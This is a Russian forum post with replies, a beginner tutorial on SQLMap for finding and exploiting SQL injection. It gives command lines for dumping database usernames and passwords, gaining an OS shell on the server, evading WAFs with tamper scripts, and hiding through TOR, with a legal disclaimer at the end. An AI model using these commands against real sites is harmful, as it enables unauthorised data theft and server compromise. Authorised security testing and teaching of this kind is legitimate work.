Подробный гайд по SQLMap: теория, практика и примеры

Mur404

Bit
Пользователь
Регистрация
3 Апр 2025
Сообщения
14
Реакции
8
🔥 Подробный гайд по SQLMap: теория, практика и примеры


SQLMap — это мощный инструмент для автоматизированного выявления и эксплуатации SQL-инъекций (SQLi). Он позволяет тестировать безопасность веб-приложений и выполнять широкий спектр атак на базы данных.

Эта статья поможет вам научиться использовать SQLMap — от самых простых команд до продвинутых техник с примерами.




📌 Что такое SQL-инъекция?


SQL-инъекция — это уязвимость, позволяющая атакующему вмешаться в SQL-запросы, выполняемые веб-приложением. Пример опасного запроса:

Код:
http://site.com/page.php?id=1

Атакующий может попробовать:
Код:
http://site.com/page.php?id=1' OR '1'='1

Если сайт не фильтрует ввод, это может позволить получить доступ к базе данных.




🧰 Что умеет SQLMap

  • Автоматически определять SQL-инъекции
  • Определять тип и версию СУБД
  • Извлекать данные (таблицы, записи, хэши паролей)
  • Выполнять команды ОС (при наличии RCE)
  • Загружать/скачивать файлы
  • Работать через TOR и прокси
  • Обходить WAF с помощью "tamper"-скриптов




🔧 Установка


  • Linux / macOS:
    Код:
    git clone https://github.com/sqlmapproject/sqlmap.git
    cd sqlmap
    python3 sqlmap.py --help

  • Windows:
    1. Установите
    2. Скачайте SQLMap с GitHub
    3. Запустите:
      Код:
      python sqlmap.py --help




🎯 Базовое использование SQLMap


🔍 1. Сканирование GET-параметра:


Код:
sqlmap -u "http://target.com/page.php?id=1" --batch


Флаг --batch — автоматический режим (SQLMap не будет задавать вопросов).





📂 2. Получение списка баз данных:


Код:
sqlmap -u "http://target.com/page.php?id=1" --dbs





📊 3. Извлечение таблиц из базы:


Код:
sqlmap -u "http://target.com/page.php?id=1" -D users_db --tables





📋 4. Получение столбцов таблицы:


Код:
sqlmap -u "http://target.com/page.php?id=1" -D users_db -T users --columns





🔓 5. Извлечение логинов и паролей:


Код:
sqlmap -u "http://target.com/page.php?id=1" -D users_db -T users -C username,password --dump





📤 Атака через POST-запрос


Пример логина:
Код:
sqlmap -u "http://site.com/login.php" --data="username=admin&password=1234" --batch





📑 Работа с Burp Suite / файлом запроса


Сохраните полный HTTP-запрос в файл:
request.txt
Код:
POST /login.php HTTP/1.1
Host: site.com
Content-Type: application/x-www-form-urlencoded


username=admin&password=123


Запуск:
Код:
sqlmap -r request.txt --batch





🔐 Работа с Cookie


Если требуется авторизация:
Код:
sqlmap -u "http://site.com/profile.php?id=1" --cookie="PHPSESSID=abc123; auth=1"





🧠 Дополнительные возможности


Версия БД:


Код:
--banner

Пользователь БД:


Код:
--current-user

Все пользователи СУБД:


Код:
--users

Проверка привилегий:


Код:
--privileges




💻 Выполнение команд ОС (при наличии RCE)


Код:
sqlmap -u "http://site.com/page.php?id=1" --os-cmd="whoami"

Или:
Код:
--os-shell




🎭 Обход защиты (WAF, фильтры)


Используйте tamper-скрипты:
Код:
--tamper=space2comment,randomcase

Посмотреть все скрипты:
Код:
ls sqlmap/tamper/




🌐 Использование TOR / прокси


Код:
--tor --tor-type=SOCKS5 --check-tor

Прокси:
Код:
--proxy="http://127.0.0.1:8080"




📌 Полезные флаги



  • -u — URL
    --data — POST-данные
    --cookie — куки
    -r — файл с HTTP-запросом
    --dbs — показать базы данных
    --tables — таблицы БД
    --columns — столбцы таблицы
    --dump — извлечение данных
    --os-shell — оболочка сервера
    --tamper — скрипты обхода WAF
    --batch — автоматический режим
    --threads — количество потоков





⚠️ Закон и этика


Важно: использовать SQLMap без разрешения — незаконно!
Применяйте инструмент ТОЛЬКО в учебных целях или с разрешения владельца сайта.

Тестовые площадки:​


 
Отличный гайд по SQLMap! Для всех, кто занимается веб-безопасностью, умение использовать SQLMap для автоматического поиска SQL-инъекций - необходимость. Инструмент мощный, простой в использовании и поддерживает продвинутые функции: обход WAF, выполнение команд ОС, работу через TOR. Главное - применять только с разрешения владельца сайта или на учебных площадках, таких как DVWA, HackTheBox или TryHackMe.
 
Норм гайд. Новичкам самое оно, для полного понимания sqlmap стоит курить весь мануал по работе с ним, многое не раскрыто в статье.
 
Сверху